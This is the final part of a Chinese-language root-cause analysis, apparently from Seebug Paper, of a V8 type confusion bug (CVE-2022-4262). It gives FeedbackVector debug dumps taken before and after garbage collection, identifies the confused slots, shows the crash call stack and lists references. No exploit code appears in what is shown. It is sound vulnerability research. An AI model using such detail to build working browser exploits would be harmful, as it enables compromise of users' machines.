   [weak] 0x091c0025b1e9 <Map[32](HOLEY_ELEMENTS)>: StoreHandler(Smi)(kind = kSlow, keyed access store mode = STANDARD_STORE)

   [weak] 0x091c0025b2bd <Map[32](HOLEY_ELEMENTS)>: StoreHandler(Smi)(kind = kSlow, keyed access store mode = STANDARD_STORE)
 {
     [19]: 0x091c0010d335 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
     [20]: 0x091c000073e5 <Symbol: (uninitialized_symbol)>
  }
0x91c0000273d: [Map] in ReadOnlySpace
 - type: FEEDBACK_VECTOR_TYPE
 - instance size: variable
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x091c000023e1 <undefined>
 - prototype_validity cell: 0
 - instance descriptors (own) #0: 0x091c000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
 - prototype: 0x091c00002261 <null>
 - constructor: 0x091c00002261 <null>
 - dependent code: 0x091c000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

gc后

vector: DebugPrint: 0x91c0025b14d: [FeedbackVector] in OldSpace
 - map: 0x091c0000273d <Map(FEEDBACK_VECTOR_TYPE)>
 - length: 21
 - shared function info: 0x091c0025a579 <SharedFunctionInfo>
 - no optimized code
 - tiering state: TieringState::kNone
 - maybe has maglev code: 0
 - maybe has turbofan code: 0
 - invocation count: 5
 - profiler ticks: 0
 - closure feedback cell array: 0x91c0025a9d5: [ClosureFeedbackCellArray] in OldSpace
 - map: 0x091c00002981 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
 - length: 2
           0: 0x091c0025a9e5 <FeedbackCell[many closures]>
           1: 0x091c0025a9f1 <FeedbackCell[many closures]>

 - slot #0 Literal  {
     [0]: 0x091c0025b279 <AllocationSite>
  }
 - slot #1 LoadGlobalNotInsideTypeof MONOMORPHIC
   [weak] 0x091c0025442d <PropertyCell name=0x091c00006005 <String[4]: #eval> value=0x091c0024af25 <JSFunction eval (sfi = 0x91c0021dca1)>> {
     [1]: [weak] 0x091c0025442d <PropertyCell name=0x091c00006005 <String[4]: #eval> value=0x091c0024af25 <JSFunction eval (sfi = 0x91c0021dca1)>>
     [2]: 0x091c000073e5 <Symbol: (uninitialized_symbol)>
  }
 - slot #3 Call MONOMORPHIC {
     [3]: [weak] 0x091c0024af25 <JSFunction eval (sfi = 0x91c0021dca1)>
     [4]: 16
  }
 - slot #5 DefineNamedOwn MONOMORPHIC {
     [5]: [weak] 0x091c0025aa75 <Map[24](HOLEY_ELEMENTS)>
     [6]: 3604480
  }
 - slot #7 LoadGlobalNotInsideTypeof MONOMORPHIC
   LoadHandler(<unexpected>)(0x091c0025a96d <FeedbackCell[many closures]>) {
     [7]: [weak] 0x091c0025a96d <FeedbackCell[many closures]>
     [8]: 12
  }
 - slot #9 Call MONOMORPHIC {
     [9]: [weak] 0x091c0025aa75 <Map[24](HOLEY_ELEMENTS)>
     [10]: 4653120
  }
 - slot #11 DefineNamedOwn MONOMORPHIC {
     [11]: [weak] 0x091c0025a96d <FeedbackCell[many closures]>
     [12]: 12
  }
 - slot #13 LoadGlobalNotInsideTypeof MONOMORPHIC
   LoadHandler(<unexpected>)(0x091c0025aa75 <Map[24](HOLEY_ELEMENTS)>) {
     [13]: [weak] 0x091c0025aa75 <Map[24](HOLEY_ELEMENTS)>
     [14]: 5701760
  }
 - slot #15 Call MONOMORPHIC {
     [15]: [cleared]
     [16]: 0x091c000073e5 <Symbol: (uninitialized_symbol)>
  }
 - slot #17 DefineNamedOwn MONOMORPHIC {
     [17]: [cleared]
     [18]: 0x091c000073e5 <Symbol: (uninitialized_symbol)>
  }
 - slot #19 SetNamedStrict POLYMORPHIC
   [cleared]: StoreHandler(Smi)(kind = kSlow, keyed access store mode = STANDARD_STORE)

   [cleared]: StoreHandler(Smi)(kind = kSlow, keyed access store mode = STANDARD_STORE)

   [cleared]: StoreHandler(Smi)(kind = kSlow, keyed access store mode = STANDARD_STORE)
 {
     [19]: 0x091c0025c235 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
     [20]: 0x091c000073e5 <Symbol: (uninitialized_symbol)>
  }
0x91c0000273d: [Map] in ReadOnlySpace
 - type: FEEDBACK_VECTOR_TYPE
 - instance size: variable
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x091c000023e1 <undefined>
 - prototype_validity cell: 0
 - instance descriptors (own) #0: 0x091c000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
 - prototype: 0x091c00002261 <null>
 - constructor: 0x091c00002261 <null>
 - dependent code: 0x091c000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

Type Confusion發生位置

通過觀察Feedback Vector的內容,我們可以發現:GC前后,Feedback Vector對應的字節碼類型產生了變化,理論上來說,其中存儲的數據類型也不同。但由于GC不對Feedback Vector進行回收,其中的內容被保留下來。導致GC后,Feedback Vector中實際存儲的數據類型與要求存儲的數據類型不同。 具體的,發生在Slot #7, #9, #11, #13。

image

崩潰點位置

通過查看產生崩潰時的調用棧:

libv8_libbase.so!v8::base::OS::Abort()::$_0::operator()() const( this) (src\base\platform\platform-posix.cc:674)
libv8_libbase.so!v8::base::OS::Abort() (src\base\platform\platform-posix.cc:674)
libv8_libbase.so!V8_Fatal(const char * file, int line, const char * format) (src\base\logging.cc:167)
libv8.so!v8::internal::CheckObjectType(v8::internal::Address raw_value, v8::internal::Address raw_type, v8::internal::Address raw_location) (src\objects\object-type.cc:78)
[Unknown/Just-In-Time compiled code] (Unknown Source:0) // 0x7f47ffdc3099

再結合上述的Type Confusion信息以及利用--print-builtin-info 打印出的builtin函數對應的內存地址:

image

發現崩潰時,對應的字節碼是LdaLookupGlobalSlot。

參考資料

1. https://bugs.chromium.org/p/chromium/issues/detail?id=1394403
2. https://chromium.googlesource.com/v8/v8/+/27fa951ae4a3801126e84bc94d5c82dd2370d18b
3. https://chromium-review.googlesource.com/c/v8/v8/+/4066044
4. https://262.ecma-international.org/12.0/#sec-class-definitions
5. https://262.ecma-international.org/12.0/#prod-MethodDefinition
6. https://262.ecma-international.org/12.0/#prod-PropertyName
7. https://262.ecma-international.org/12.0/#prod-ComputedPropertyName
8. https://tc39.es/ecma262/multipage/ecmascript-language-expressions.html#sec-conditional-operator
9. https://v8.dev/docs/csa-builtins
10. https://stackoverflow.com/questions/56857660/debugging-codestubassembler-csa-code-in-v8
11. https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Strict_mode
12. https://zhuanlan.zhihu.com/p/377809991
13. https://cabulous.medium.com/javascript-execution-context-part-1-from-compiling-to-execution-84c11c0660f5
14. https://cabulous.medium.com/javascript-execution-context-part-2-call-stack-and-multiple-execution-contexts-dbe428a94190
15. https://cabulous.medium.com/javascript-execution-context-lexical-environment-and-block-scope-part-3-fc2551c92ce0
16. https://cabulous.medium.com/javascript-execution-context-scope-chain-closure-and-this-part-4-961acd9689c9
17. https://tc39.es/ecma262/#sec-execution-contexts
18. https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Statements/class
19. https://zhuanlan.zhihu.com/p/28590489
20. https://docs.google.com/document/d/11T2CRex9hXxoJwbYqVQ32yIPMh0uouUZLdyrtmMoL44/edit
21. https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2022/CVE-2022-4262.html


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/3029/